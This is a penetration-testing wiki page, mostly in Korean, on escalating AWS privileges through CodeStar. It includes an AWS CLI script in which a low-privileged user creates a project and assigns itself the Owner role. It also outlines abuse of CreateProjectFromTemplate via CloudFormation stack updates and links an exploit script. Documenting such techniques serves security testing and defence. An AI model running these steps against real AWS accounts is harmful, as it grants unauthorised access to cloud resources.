AWS - Codestar Privesc

Support HackTricks

Codestar

codestar에 대한 더 많은 정보는 다음에서 확인할 수 있습니다:

codestar:CreateProject, codestar:AssociateTeamMember

iam:PassRole, codestar:CreateProject

이 권한을 사용하면 cloudformation 템플릿을 통해 임의의 작업을 수행하기 위해 codestar IAM 역할악용할 수 있습니다. 다음 페이지를 확인하세요:

iam:PassRole, codestar:CreateProject

codestar:CreateProject, codestar:AssociateTeamMember

이 기술은 codestar:CreateProject를 사용하여 codestar 프로젝트를 생성하고, codestar:AssociateTeamMember를 사용하여 IAM 사용자를 새로운 CodeStar 프로젝트소유자로 만들며, 이를 통해 몇 가지 추가 권한이 포함된 새로운 정책을 부여합니다.

PROJECT_NAME="supercodestar"

aws --profile "$NON_PRIV_PROFILE_USER" codestar create-project \
--name $PROJECT_NAME \
--id $PROJECT_NAME

echo "Waiting 1min to start the project"
sleep 60

USER_ARN=$(aws --profile "$NON_PRIV_PROFILE_USER" opsworks describe-my-user-profile | jq .UserProfile.IamUserArn | tr -d '"')

aws --profile "$NON_PRIV_PROFILE_USER" codestar associate-team-member \
--project-id $PROJECT_NAME \
--user-arn "$USER_ARN" \
--project-role "Owner" \
--remote-access-allowed

If you are already a member of the project you can use the permission codestar:UpdateTeamMember to update your role to owner instead of codestar:AssociateTeamMember

Potential Impact: Privesc to the codestar policy generated. You can find an example of that policy in:

codestar:CreateProject, codestar:AssociateTeamMember

codestar:CreateProjectFromTemplate

  1. 새 프로젝트 생성:

  • codestar:CreateProjectFromTemplate 작업을 사용하여 새 프로젝트 생성을 시작합니다.

  • 성공적으로 생성되면 **cloudformation:UpdateStack**에 대한 액세스가 자동으로 부여됩니다.

  • 이 액세스는 CodeStarWorker-<generic project name>-CloudFormation IAM 역할과 관련된 스택을 대상으로 합니다.

  1. 대상 스택 업데이트:

  • 부여된 CloudFormation 권한으로 지정된 스택을 업데이트합니다.

  • 스택의 이름은 일반적으로 두 가지 패턴 중 하나에 따릅니다:

  • awscodestar-<generic project name>-infrastructure

  • awscodestar-<generic project name>-lambda

  • 정확한 이름은 선택한 템플릿에 따라 다릅니다(예제 익스플로잇 스크립트 참조).

  1. 액세스 및 권한:

  • 업데이트 후, 스택과 연결된 CloudFormation IAM 역할에 할당된 기능을 얻습니다.

  • 참고: 이는 본질적으로 전체 관리자 권한을 제공하지 않습니다. 권한을 추가로 상승시키기 위해 환경 내에서 잘못 구성된 리소스가 필요할 수 있습니다.

For more information check the original research: https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/. You can find the exploit in https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py

Potential Impact: Privesc to cloudformation IAM role.

Support HackTricks

Last updated